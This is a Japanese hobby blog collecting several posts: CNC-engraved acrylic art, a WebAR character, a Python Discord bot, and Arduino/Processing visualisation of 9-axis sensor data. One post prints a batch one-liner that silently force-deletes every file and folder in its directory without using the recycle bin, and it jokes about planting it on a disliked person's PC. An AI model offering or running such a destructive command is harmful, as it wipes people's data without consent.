初音ミクをアクリルで光らせたかった

 

 CNCで桃華ちゃんのサイン掘ったときに光るアクリル板に浮かび上がらせそうだったので作成

  

<手順>

下絵を描く

illustratorなどでパス化(アウトライン)して間隔調整した後DWG,DXF,AI形式のどれか保存

Cut2Dなどで加工経路制作、USBCNCでGコード生成

加工

 

0.5mmの深さで掘った

f:id:tomi-tomi-pon:20200126180947p:plain

 

 

 

 したから青LEDを照らすといい感じ

今回は部室にあるCNCを使用した。個人で欲しい加工機だが10万コースか....

 

初音ミク×アクリル板=kawaii

 

おわり

桃華ちゃんを呼び出したかった

 

 

 

 iPad買ってから楽しくお絵かきしてたら嫁を召喚したい衝動にかられました。

なのでAR化させて召喚しました。

 

 

 

 

ミクちゃんと撮影 

f:id:tomi-tomi-pon:20200126060501p:plain             

 

あっ可愛すぎか????.....

 

いつかlive2Dで動かすぞ

おわり

 

お借りした物

 WebARジェネレータ

https://web-ar-generator.firebaseapp.com/

 

 

 

 

 

2020年と

2019年も大分濃い学生生活を送りB4は遊びと聞いてましたが、蓋を開けると毎日研究室生活でした。悲しい

 

新年早々のハイライト

 

2020年は最近ハマってる競プロをゆるくやっていきたいのでよろしくお願いします。

バイク大型免許取るぞ!!

Discordに橘ありすbotを作る

はじめに


Discordのbotで「ありす〇〇」と言うと「橘です!!」と言ってくれるありすが欲しかったため簡単に作りました。

コード


pythonで記述してます

# インストールした discord.py を読み込む
import discord
import re 
# 自分のBotのアクセストークンに置き換えてください
TOKEN = 'NjE5MDEwOTgyMTMxMjY5NjM4.○○○○........'

# 接続に必要なオブジェクトを生成
client = discord.Client()

# 起動時に動作する処理
@client.event
async def on_ready():
    # 起動したらターミナルにログイン通知が表示される
    print('ありすログインしました')

# メッセージ受信時に動作する処理
@client.event
async def on_message(message):
    # メッセージ送信者がBotだった場合は無視する
    if message.author.bot:
        return
    # 「/○○ありす○○」と発言したら「橘です!!」が返る処理
    if re.search(r'ありす',message.content) :
        await message.channel.send('橘です!!!')

# Botの起動とDiscordサーバーへの接続
client.run(TOKEN)

説明


引用先からほぼお借りしています 変更点は import re if re.search(r'ありす',message.content) を付け加えています。 message.contentで文字列を取得してre.searchで部分一致させることで条件分岐させています。 re.searchは部分一致 re.matchは先頭文字一致 *re.fullmatchは完全一致 となっているのでbotごとに使い分けるといいです

実行


f:id:tomi-tomi-pon:20190906121533p:plain

ありすカワイイイ これでchannel内にも賑やかになります。

これから時間をセットして応答させるなど幅広いbotに活用できそうです。

おわり

引用先


【初心者向け】DiscordのBotを作る上で知っておくといいこと - Qiita 【python】re.match より re.search を使おう - Qiita

クリックするとカレントディレクトリ上のデータが削除されるバッチファイルを作ってみた

今更感ですがバッチファイルを眺めるようになり勉強がてら、クリックしたらデータが勝手に削除されるバッチファイルというくだらない物を作ってみました。

自分でもよくわからないです。

 

forfiles /P %~dp0 /C "cmd /c del /F /Q @file" &forfiles /P %~dp0 /C "cmd /c rmdir /Q @file"

これをメモ帳に記入してファイル形式をbatにするだけです。

 

動作例
以下説明

forfiles を宣言後 、delでファイル削除、rmdirでフォルダを削除します。

/Fで読み取り専用データも削除、/Q確認メッセージを表示せずに削除

%~dp0でカレントディレクトリを取得しています。

 

このバッチファイルをクリックするだけでカレントディレクトリ上のデータが一瞬で消えます。こみ箱に行かないのでほんとうに危ないです。

 

使い道ですか......嫌な人のPCにでも入れておきましょう。

参考にさせていただいたサイト

http://zacodesign.net/blog/?p=2172

https://qiita.com/shin1rok/items/efb5052ef5fb8138c26d

 

BMX055の9軸データをProcessingで可視化させる

前々回 BMX055からの9軸データ出力

http://tomi-tomi-pon.hatenablog.com/entry/2018/11/07/012854

前回 グラフ作成

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/145913

 

今回はBMX055の9軸データをProcessingで可視化していきます

 

 

使用した物

使用した物

・BMX055  (9軸センサモジュール)

Arduino (どこにでもある)

・Processing(ソフトフェア)

 

 

以下githubのgraph_UI.pdeとmadgwick.inoがそれぞれProcessingとarduinoのプログラムになります。

 https://github.com/tomi-09/gryo-acc-mag-axes-graph-processing-

 

f:id:tomi-tomi-pon:20191023144240p:plain

ポートは各々設定してください

実行結果

f:id:tomi-tomi-pon:20190408163400p:plain

作ったUI

 

youtu.be

 

前々回作ったBMX055の9軸データとオイラー角のデータの数値データを前回作ったProcessingでのグラフ化を合わせて見やすいようにUIを作りました。

 

<簡単な動作説明>

 

Processingとarduinoとは加速度、ジャイロ、磁気が来た際(1,2,3,4と置いている)に空白を消して[,]ごとにx,y,zを読み取るという通信を行っています。

その送られてきたデータをグラフ、3Dアニメーション化をしています。

・グラフ

読み取ったデータが0を基準としてグラフの縦軸を超えた場合はグラフ縦軸を臨機応変に変更させています。

・アニメーション

青いboxはyaw→roll→pitchの順で

赤いboxはroll→yaw→pitchの順で

それぞれオイラー角を回転されています。

これは2番目を90度回すとジンバルロックという正常に動作しない現象があるためこのように2通りの描写を行いました。

 

 ここでは簡潔に書かれていますが詳しくはプログラムのコメント欄に記載しています

 <注意点>

ジンバルロックを回避するためにクォータニオンを用いた制御がありますがProcessingはopenGLのため使用できません。しかし、激しい動作でなければジンバルロックが起きないため結構使えます

例外処理を行っていないため通信が切れた時に再通信を行えません。

<まとめ>

Processingはjavaで書くことができ、そこまで難しいわけではないため結構簡単に作ることができます。今回はグラフ化させましたがグラフ以外にも面白いものも作ることができると思うのでおすすめです。(オシロスコープもできますがProcessingは100fpsしか動作保証していないのでご注意を)

Processingは本来アニメーションとかを使うことが多いのですが今回はこんなデバッグツールみたいなものを作るという一例として考えてくれると幸いです。

 ※2019/10/23 Githubのコード修正

 

Processingを用いてArduinoのシリアル通信からのデータ可視化ツール(テンプレート)の作成

前回 BMX055の9軸センサからオイラー角算出

http://tomi-tomi-pon.hatenablog.com/entry/2018/11/07/012854

9軸センサの値を読み取りましたが数値では大変見にくいため今回はそのデータを可視化させるアニメーションの元として1つのリアルタイムグラフを作ります。

 

用はProarduinoのシリアルモニタ見たいな物と考えてもらって構いません。

使用するソフトウェアはProcessingです。

Processing.org

 

 以下arduino側のプログラム

 

以下Processing側のプログラム

 

ポートは各々使用しているポートに変更してください

このプログラムはarduino側で1秒ごとにインクリメントとデクリメントしたデータをProcessingで表示してるだけのプログラムです。 

とりあえずわかりやすいようにコメントアウトしました。

[簡単な補足]

arduino側は表示したいデータnama_1とname_2を

[nama_1]

[,]

[data_1]

改行

との順に送信しています。終了文字の改行をprintln("/n")としてデータ仕切り信号としようとしましたがProcessing側の

String myString = myPort.readStringUntil('\n');

で上手くデータが区切られずprintlnとしています。

 

 

 [まとめ]

arduino側で識別値とデータをカンマで区切りProcessing側で受け取ったのを2つグラフ化するという非常にシンプルなものです。Processingはデバック用のツールではありませんが、シンプルで使い方によって面白い&便利なためおすすめです。

今回は値を増加、減少させただけですが次はこれを応用して9軸センサのデータ可視化を行います。

 

次 BMX055のデータをグラフ化、3Dアニメーション化させる

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/181841